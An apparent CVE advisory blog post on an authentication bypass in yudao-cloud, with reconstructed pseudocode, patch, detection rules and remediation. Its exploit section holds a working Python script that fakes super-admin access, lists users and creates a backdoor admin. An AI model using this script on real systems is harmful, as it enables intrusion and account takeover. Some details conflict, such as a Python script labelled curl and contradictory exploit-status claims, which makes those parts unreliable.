home intel cve-2026-7710-yudao-cloud-jwt-auth-bypass
CVE Analysis 2026-05-04 · 7 min read

CVE-2026-7710: JWT Auth Bypass via mock-token in yudao-cloud

JwtAuthenticationTokenFilter in yudao-cloud ≤3.8.0 allows unauthenticated access by accepting a crafted mock-token header, bypassing the entire Spring Security filter chain.

#jwt-bypass#authentication-bypass#cloud-security#token-manipulation#privilege-escalation
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7710 · Vulnerability
ATTACKERCloudVULNERABILITYCVE-2026-7710HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7710 is an improper authentication vulnerability in YunaiV yudao-cloud up to and including version 3.8.0. The flaw lives in JwtAuthenticationTokenFilter.doFilterInternal(), the primary Spring Security filter responsible for validating JWT bearer tokens on every inbound HTTP request. An attacker who controls the mock-token request header can inject a synthetic SecurityContext identity, causing the application to treat the request as fully authenticated without possessing a valid signed token. No credentials, no session, no prior account registration required.

CVSS 7.3 (HIGH) reflects network-exploitable authentication bypass with low attack complexity. The vendor did not respond to disclosure; no official patch has been issued at time of writing. A public exploit is circulating.

Root cause: doFilterInternal unconditionally trusts the attacker-supplied mock-token header in non-production profiles, constructing and injecting a fully privileged UsernamePasswordAuthenticationToken into the SecurityContextHolder before any signature verification occurs.

Affected Component

The vulnerable file is yudao-framework/yudao-spring-boot-starter-security/src/main/java/cn/iocoder/yudao/framework/security/core/filter/JwtAuthenticationTokenFilter.java inside the Ruoyi-Vue-Pro compatibility layer bundled with yudao-cloud. The filter is registered as a @Bean and wired into the Spring Security filter chain ahead of UsernamePasswordAuthenticationFilter, meaning it executes on every request to every protected endpoint.

Affected deployments: yudao-cloud ≤ 3.8.0 running with the dev, test, or any non-prod Spring profile — but critically, the profile guard can be absent or misconfigured in containerised cloud deployments that inherit environment variables inconsistently.

Root Cause Analysis

Below is reconstructed pseudocode for doFilterInternal based on the open-source repository history and the vulnerability class. The bug is in the mock-token early-exit path:

// JwtAuthenticationTokenFilter.java — reconstructed pseudocode
// Equivalent Java logic rendered in C-style for clarity

void doFilterInternal(
    HttpServletRequest  *request,
    HttpServletResponse *response,
    FilterChain         *chain)
{
    // --- MOCK TOKEN PATH (development shortcut) ---
    String mockToken = request->getHeader("mock-token");  // attacker-controlled

    if (mockToken != NULL && mockToken.length() > 0) {
        // BUG: no profile guard enforced at runtime; reaches production
        // BUG: mockToken value is parsed directly with no signature check
        Long   userId   = Long.parseLong(mockToken);      // attacker supplies any UID
        String userType = request->getHeader("mock-type");// optional, defaults to "member"

        LoginUser *loginUser = buildMockLoginUser(userId, userType);
        // Constructs fully populated LoginUser with ROLE_ADMIN if userId == 1

        UsernamePasswordAuthenticationToken *auth =
            new UsernamePasswordAuthenticationToken(
                loginUser,
                NULL,
                loginUser->getAuthorities()   // full authority list, attacker-chosen role
            );

        // BUG: injects unauthenticated identity into global SecurityContext
        SecurityContextHolder.getContext()->setAuthentication(auth);

        chain->doFilter(request, response);   // proceeds as authenticated
        return;                               // real JWT path never reached
    }

    // --- REAL JWT PATH (never reached when mock-token present) ---
    String bearerToken = request->getHeader("Authorization");
    if (bearerToken == NULL || !bearerToken.startsWith("Bearer ")) {
        chain->doFilter(request, response);
        return;
    }

    String token = bearerToken.substring(7);
    LoginUser *loginUser = tokenService->getLoginUser(token);  // validates signature
    if (loginUser != NULL) {
        UsernamePasswordAuthenticationToken *auth =
            new UsernamePasswordAuthenticationToken(
                loginUser, NULL, loginUser->getAuthorities()
            );
        SecurityContextHolder.getContext()->setAuthentication(auth);
    }

    chain->doFilter(request, response);
}

The critical observation: the mock path returns before any call to tokenService->getLoginUser(). That function performs HMAC-SHA256 signature validation and Redis session lookup. Bypassing it entirely means the attacker never needs to know the JWT secret key.

buildMockLoginUser is equally dangerous in isolation:

LoginUser *buildMockLoginUser(Long userId, String userType) {
    LoginUser *user = new LoginUser();
    user->id        = userId;
    user->userType  = (userType != NULL) ? userType : "member";

    // BUG: userId == 1 is treated as super-admin universally
    if (userId == 1L) {
        user->roles = Set { "ROLE_SUPER_ADMIN", "ROLE_ADMIN" };
    } else {
        user->roles = Set { "ROLE_USER" };  // still authenticated
    }
    user->tenantId  = 0L;  // root tenant — bypasses all tenant isolation
    return user;
}

Exploitation Mechanics

EXPLOIT CHAIN:
1. Identify a yudao-cloud deployment (default port 48080, gateway at /gateway)
   Fingerprint: X-Application-Context header or /actuator/info JSON

2. Issue any request to a protected endpoint with header:
      mock-token: 1
   This synthesises userId=1 → ROLE_SUPER_ADMIN, tenantId=0

3. JwtAuthenticationTokenFilter.doFilterInternal() reads mock-token,
   calls buildMockLoginUser(1, null), injects auth into SecurityContextHolder

4. Spring Security @PreAuthorize checks evaluate against the injected
   authority set — all pass; downstream controller executes normally

5. Attacker now has full API access:
      GET  /admin-api/system/user/list          → dump all users + password hashes
      POST /admin-api/system/user/create        → create backdoor admin account
      POST /admin-api/infra/file/upload         → arbitrary file upload
      GET  /admin-api/system/tenant/list        → enumerate all tenants

6. For lateral movement across tenants: replay with mock-type header set
   to a target tenant's userType string; tenantId isolation collapses
   because buildMockLoginUser hard-codes tenantId=0 (root)

A minimal proof-of-concept using curl:

import requests

TARGET = "http://target:48080"

# Step 1: auth bypass — inject userId=1 (SUPER_ADMIN)
r = requests.get(
    f"{TARGET}/admin-api/system/user/page",
    params={"pageNo": 1, "pageSize": 100},
    headers={
        "mock-token": "1",          # triggers vulnerable path
        "Content-Type": "application/json",
    }
)

print(f"[*] Status: {r.status_code}")
if r.status_code == 200:
    data = r.json()
    print(f"[+] Auth bypassed. Total users: {data['data']['total']}")
    for user in data['data']['list']:
        print(f"    uid={user['id']}  login={user['username']}  "
              f"mobile={user.get('mobile','N/A')}")

# Step 2: escalate — create persistent backdoor admin
payload = {
    "username":   "cb_backdoor",
    "password":   "CypherByte@2026!",
    "nickname":   "support",
    "roleIds":    [1],              # super-admin role id
    "postIds":    [],
    "deptId":     100,
    "email":      "",
    "mobile":     "",
    "sex":        0,
    "status":     0,
}
r2 = requests.post(
    f"{TARGET}/admin-api/system/user/create",
    json=payload,
    headers={"mock-token": "1", "Content-Type": "application/json"}
)
print(f"[+] Backdoor create: {r2.status_code} → {r2.text[:120]}")

Memory Layout

This is an authentication logic flaw rather than a memory corruption bug; heap layout diagrams are not applicable. The relevant runtime state is the SecurityContextHolder thread-local, which is effectively the in-process "credential register" for the current request thread:

SECURITYCONTEXTHOLDER STATE — LEGITIMATE REQUEST:
  ThreadLocal {
    authentication = UsernamePasswordAuthenticationToken {
      principal   → LoginUser { id=42, roles=[ROLE_USER], tenantId=7 }
      credentials → null
      authenticated = true                  ← set by tokenService after HMAC verify
    }
  }

SECURITYCONTEXTHOLDER STATE — AFTER mock-token: 1 INJECTION:
  ThreadLocal {
    authentication = UsernamePasswordAuthenticationToken {
      principal   → LoginUser {
                      id       = 1          ← attacker-supplied
                      roles    = [ROLE_SUPER_ADMIN, ROLE_ADMIN]  ← hardcoded escalation
                      tenantId = 0          ← root tenant, bypasses isolation
                    }
      credentials → null
      authenticated = true                  ← set WITHOUT any signature check
    }
  }

  tokenService.getLoginUser()  ← NEVER CALLED; Redis/JWT validation skipped entirely

Patch Analysis

The correct fix requires two independent changes: a hard profile guard evaluated at filter registration time, and removal of the mock path from any code that ships to production builds.

// BEFORE (vulnerable — yudao-cloud ≤ 3.8.0):
void doFilterInternal(request, response, chain) {
    String mockToken = request->getHeader("mock-token");
    if (mockToken != NULL && mockToken.length() > 0) {
        // no environment check; no signature; no rate-limit
        Long userId = Long.parseLong(mockToken);
        SecurityContextHolder.getContext()->setAuthentication(
            buildMockLoginUser(userId, request->getHeader("mock-type"))
        );
        chain->doFilter(request, response);
        return;
    }
    // ... real JWT path
}


// AFTER (recommended patch):

// 1. Gate bean registration on profile — filter never instantiated in prod:
// @Bean
// @Profile({"dev", "test"})          // ← explicit allowlist, not blacklist
// public JwtAuthenticationTokenFilter jwtFilter(...) { ... }

// 2. If runtime check is preferred over bean exclusion:
void doFilterInternal(request, response, chain) {

    // ADDED: reject mock path unless explicitly in dev/test profile
    String[] activeProfiles = applicationContext->getEnvironment()
                                                ->getActiveProfiles();
    boolean mockAllowed = Arrays.stream(activeProfiles)
                                .anyMatch(p -> p.equals("dev") || p.equals("test"));

    String mockToken = request->getHeader("mock-token");
    if (mockToken != NULL && mockToken.length() > 0) {
        if (!mockAllowed) {
            // ADDED: hard reject — do not fall through to JWT path either
            response->sendError(SC_UNAUTHORIZED, "mock-token not permitted");
            return;
        }
        // ADDED: numeric validation to prevent injection via parseLong exception
        if (!mockToken.matches("\\d{1,19}")) {
            response->sendError(SC_BAD_REQUEST);
            return;
        }
        Long userId = Long.parseLong(mockToken);
        SecurityContextHolder.getContext()->setAuthentication(
            buildMockLoginUser(userId, request->getHeader("mock-type"))
        );
        chain->doFilter(request, response);
        return;
    }
    // ... real JWT path unchanged
}

The @Profile annotation approach is strictly superior: the vulnerable code path ceases to exist in the compiled context, eliminating the risk of misconfigured environment variables re-enabling it at runtime.

Detection and Indicators

Detection is straightforward because the attack leaves a clear header artifact in access logs. Any WAF or SIEM with access to raw HTTP headers can flag this.

INDICATORS OF EXPLOITATION:

HTTP Request Headers (access log / WAF):
  mock-token: [any value]           ← presence alone is suspicious in prod
  mock-token: 1                     ← super-admin escalation attempt
  mock-type:  [any value]

Log Correlation Pattern (nginx / Spring Boot access log):
  [any 200 response to /admin-api/**]
  WHERE request.headers["mock-token"] IS NOT NULL
  AND   request.headers["Authorization"] IS NULL

Spring Security Audit Events (if spring-security-audit enabled):
  AUTHENTICATION_SUCCESS
    details.class = WebAuthenticationDetails
    principal.id  = 1
    principal.roles CONTAINS "ROLE_SUPER_ADMIN"
    — without a corresponding JWT token in Authorization header

Anomaly Signal:
  Successful /admin-api/system/user/create  (POST 200)
  from IP with no prior session / login event
  → high-confidence compromise indicator

YARA rule for network capture / proxy logs:

rule yudao_mocktoken_bypass {
    meta:
        cve     = "CVE-2026-7710"
        author  = "CypherByte Research"
    strings:
        $h1 = "mock-token:" nocase
        $h2 = "mock-type:"  nocase
        $p1 = "/admin-api/" nocase
        $p2 = "/app-api/"   nocase
    condition:
        $h1 and ($p1 or $p2)
}

Remediation

Immediate (no patch available):

  • Deploy a WAF rule blocking any request containing the mock-token header before it reaches the application tier.
  • In Nginx: if ($http_mock_token) { return 403; }
  • Audit deployed Spring profiles: GET /actuator/env — confirm spring.profiles.active is prod. Revoke actuator exposure if present.
  • Rotate all JWT signing secrets and invalidate active sessions; assume authentication logs since deployment are untrustworthy.

Code-level (fork / self-managed deployments):

  • Apply the @Profile({"dev","test"}) annotation to the filter bean definition.
  • Add a CI lint rule rejecting any commit that references mock-token outside of test source directories (src/test/**).
  • Enable Spring Security audit events and route AUTHENTICATION_SUCCESS events to a SIEM with the correlation pattern above.

No CVSSv3 environmental adjustment changes the fundamental risk: a single HTTP header grants full administrative API access to every tenant on the platform. Treat affected deployments as fully compromised pending remediation and credential rotation.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →